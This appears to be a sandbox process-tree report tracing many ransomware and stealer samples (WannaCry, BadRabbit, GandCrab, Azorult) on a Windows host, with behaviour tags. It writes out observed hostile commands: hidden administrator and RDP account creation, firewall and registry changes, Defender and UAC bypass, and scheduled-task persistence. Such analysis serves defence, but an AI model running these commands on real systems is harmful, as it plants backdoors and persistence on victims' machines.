C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\libffi-8.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\libffi-8.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\libssl-3.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\libssl-3.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\python314.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\python314.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\tcl86t.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\tcl86t.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\tk86t.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\tk86t.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\VCRUNTIME140.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\VCRUNTIME140.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\VCRUNTIME140_1.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\VCRUNTIME140_1.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\zlib1.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Temp\_MEI7642\zlib1.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\GroupComplete\RestartUnlock.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\GroupComplete\RestartUnlock.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\LimitSuspend\HideSubmit.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\LimitSuspend\HideSubmit.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\MountCompress\ExpandRepair.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\MountCompress\ExpandRepair.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\RepairClose\SkipAssert.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\RepairClose\SkipAssert.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\ResetUnregister\InitializeRead.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\ResetUnregister\InitializeRead.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\ResizeMerge\WaitReceive.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Roaming\ResizeMerge\WaitReceive.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "WannaCry.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "WannaCry.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Music\SendFormat.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Music\SendFormat.exe').Status"6⤵
-
-
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Yeni Metin Belgesi.txt3⤵
-
-
C:\Users\Admin\Desktop\IronGate_Antivirus.exe"C:\Users\Admin\Desktop\IronGate_Antivirus.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\IronGate_Antivirus.exe"C:\Users\Admin\Desktop\IronGate_Antivirus.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\Desktop\Fantom.exe"C:\Users\Admin\Desktop\Fantom.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\7ev3n.exe"C:\Users\Admin\Desktop\7ev3n.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Rensenware.exe"C:\Users\Admin\Desktop\Rensenware.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\AdwereCleaner.exe"C:\Users\Admin\Desktop\AdwereCleaner.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\6AdwCleaner.exe"C:\Users\Admin\AppData\Local\6AdwCleaner.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\Desktop\Azorult.exe"C:\Users\Admin\Desktop\Azorult.exe"3⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Blocks application from running via registry modification
- Executes dropped EXE
- Modifies visibility of existing users in the login screen
- Checks whether UAC is enabled
- Modifies WinLogon
- System policy modification
-
C:\ProgramData\Microsoft\Intel\wini.exeC:\ProgramData\Microsoft\Intel\wini.exe -pnaxui4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\regedit.exeregedit /s "reg1.reg"7⤵
- UAC bypass
- Windows security bypass
- Modifies visibility of existing users in the login screen
- System Location Discovery: System Language Discovery
- Runs .reg file with regedit
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s "reg2.reg"7⤵
- System Location Discovery: System Language Discovery
- Runs .reg file with regedit
-
-
C:\Windows\SysWOW64\timeout.exetimeout 27⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\ProgramData\Windows\rutserv.exerutserv.exe /silentinstall7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\ProgramData\Windows\rutserv.exerutserv.exe /firewall7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\ProgramData\Windows\rutserv.exerutserv.exe /start7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB +H +S C:\Programdata\Windows\*.*7⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB +H +S C:\Programdata\Windows7⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\sc.exesc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/10007⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc config RManService obj= LocalSystem type= interact type= own7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc config RManService DisplayName= "Microsoft Framework"7⤵
- Launches sc.exe
-
-
-
-
C:\ProgramData\Windows\winit.exe"C:\ProgramData\Windows\winit.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat6⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 57⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\programdata\install\cheat.exeC:\programdata\install\cheat.exe -pnaxui4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\ProgramData\Microsoft\Intel\taskhost.exe"C:\ProgramData\Microsoft\Intel\taskhost.exe"5⤵
- Executes dropped EXE
-
C:\programdata\microsoft\intel\P.exeC:\programdata\microsoft\intel\P.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\programdata\microsoft\intel\R8.exeC:\programdata\microsoft\intel\R8.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "8⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Rar.exe9⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Rar.exe9⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout 39⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\chcp.comchcp 12519⤵
- System Location Discovery: System Language Discovery
-
-
C:\rdp\Rar.exe"Rar.exe" e -p555 db.rar9⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Rar.exe9⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout 29⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"9⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "10⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f11⤵
-
-
C:\Windows\SysWOW64\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f11⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow11⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\net.exenet.exe user "john" "12345" /add11⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user "john" "12345" /add12⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\chcp.comchcp 125111⤵
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Администраторы" "John" /add11⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Администраторы" "John" /add12⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Administratorzy" "John" /add11⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Administratorzy" "John" /add12⤵
-
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Administrators" John /add11⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Administrators" John /add12⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Administradores" John /add11⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Administradores" John /add12⤵
-
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Пользователи удаленного рабочего стола" John /add11⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add12⤵
-
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Пользователи удаленного управления" John /add11⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add12⤵
-
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" John /add11⤵
- Remote Service Session Hijacking: RDP Hijacking
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add12⤵
- Remote Service Session Hijacking: RDP Hijacking
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Usuarios de escritorio remoto" John /add11⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add12⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet localgroup "Uzytkownicy pulpitu zdalnego" John /add11⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add12⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\rdp\RDPWInst.exe"RDPWInst.exe" -i -o11⤵
- Server Software Component: Terminal Services DLL
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow12⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\rdp\RDPWInst.exe"RDPWInst.exe" -w11⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\reg.exereg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f11⤵
- Modifies visibility of existing users in the login screen
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\net.exenet accounts /maxpwage:unlimited11⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 accounts /maxpwage:unlimited12⤵
-
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Program Files\RDP Wrapper\*.*"11⤵
- Sets file to hidden
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Program Files\RDP Wrapper"11⤵
- Sets file to hidden
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\rdp"11⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
-
-
C:\Windows\SysWOW64\timeout.exetimeout 29⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
-
C:\ProgramData\Microsoft\Intel\winlog.exeC:\ProgramData\Microsoft\Intel\winlog.exe -p1236⤵
- Executes dropped EXE
-
C:\ProgramData\Microsoft\Intel\winlogon.exe"C:\ProgramData\Microsoft\Intel\winlogon.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9B61.tmp\9B62.bat C:\ProgramData\Microsoft\Intel\winlogon.exe"8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell.exe -command "Import-Module applocker" ; "Set-AppLockerPolicy -XMLPolicy C:\ProgramData\microsoft\Temp\5.xml"9⤵
- Drops file in System32 directory
-
-
-
-
-
C:\Programdata\RealtekHD\taskhostw.exeC:\Programdata\RealtekHD\taskhostw.exe6⤵
- Modifies visibility of hidden/system files in Explorer
- Executes dropped EXE
- Adds Run key to start application
- NTFS ADS
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Programdata\WindowsTask\winlogon.exeC:\Programdata\WindowsTask\winlogon.exe7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C schtasks /query /fo list8⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks /query /fo list9⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ipconfig /flushdns7⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns8⤵
- Gathers network information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c gpupdate /force7⤵
-
C:\Windows\system32\gpupdate.exegpupdate /force8⤵
-
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 16⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat6⤵
- Drops file in Drivers directory
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\Temp.bat6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\timeout.exeTIMEOUT /T 5 /NOBREAK7⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exeTIMEOUT /T 3 /NOBREAK7⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\taskkill.exeTASKKILL /IM 1.exe /T /F7⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exeTASKKILL /IM P.exe /T /F7⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB +H +S C:\Programdata\Windows7⤵
- Views/modifies file attributes
-
-
-
-
-
-
C:\Users\Admin\Desktop\BadRabbit.exe"C:\Users\Admin\Desktop\BadRabbit.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 154⤵
- Badlisted process makes network request
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/c schtasks /Delete /F /TN rhaegal5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Delete /F /TN rhaegal6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe/c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR "C:\Windows\system32\cmd.exe /C Start \"\" \"C:\Windows\dispci.exe\" -id 3254307824 && exit"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR "C:\Windows\system32\cmd.exe /C Start \"\" \"C:\Windows\dispci.exe\" -id 3254307824 && exit"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe/c schtasks /Create /SC once /TN drogon /RU SYSTEM /TR "C:\Windows\system32\shutdown.exe /r /t 0 /f" /ST 12:46:005⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /SC once /TN drogon /RU SYSTEM /TR "C:\Windows\system32\shutdown.exe /r /t 0 /f" /ST 12:46:006⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\CAD9.tmp"C:\Windows\CAD9.tmp" \\.\pipe\{6F1DCD5A-DE80-4DDA-8EC4-9F0801F34B41}5⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\Desktop\BadRabbit.exe"C:\Users\Admin\Desktop\BadRabbit.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\GandCrab.exe"C:\Users\Admin\Desktop\GandCrab.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\GandCrab.exe"C:\Users\Admin\Desktop\GandCrab.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\CryptoLocker.exe"C:\Users\Admin\Desktop\CryptoLocker.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- NTFS ADS
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" "/rC:\Users\Admin\Desktop\CryptoLocker.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Desktop\GandCrab.exe"C:\Users\Admin\Desktop\GandCrab.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\SporaRansomware.exe"C:\Users\Admin\Desktop\SporaRansomware.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\WannaCry.exe"C:\Users\Admin\Desktop\WannaCry.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 52911771763460.bat4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cscript.execscript //nologo c.vbs5⤵
-
-
-
C:\Users\Admin\Desktop\!WannaDecryptor!.exe!WannaDecryptor!.exe f4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\DataExchangeHost.exeC:\Windows\System32\DataExchangeHost.exe -Embedding1⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\System32\oobe\UserOOBEBroker.exeC:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding1⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding1⤵
- System Location Discovery: System Language Discovery
-
C:\ProgramData\Windows\rutserv.exeC:\ProgramData\Windows\rutserv.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\Windows\rfusclient.exeC:\ProgramData\Windows\rfusclient.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\ProgramData\Windows\rfusclient.exeC:\ProgramData\Windows\rfusclient.exe /tray3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
-
-
-
C:\ProgramData\Windows\rfusclient.exeC:\ProgramData\Windows\rfusclient.exe /tray2⤵
- Executes dropped EXE
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Loads dropped DLL
-
C:\Programdata\RealtekHD\taskhostw.exeC:\Programdata\RealtekHD\taskhostw.exe1⤵
- Executes dropped EXE
-
C:\Programdata\RealtekHD\taskhostw.exeC:\Programdata\RealtekHD\taskhostw.exe1⤵
- Executes dropped EXE
-
C:\Programdata\RealtekHD\taskhostw.exeC:\Programdata\RealtekHD\taskhostw.exe1⤵
- Executes dropped EXE
-
C:\Programdata\RealtekHD\taskhostw.exeC:\Programdata\RealtekHD\taskhostw.exe1⤵
- Executes dropped EXE
-
C:\Programdata\RealtekHD\taskhostw.exeC:\Programdata\RealtekHD\taskhostw.exe1⤵
- Executes dropped EXE
-
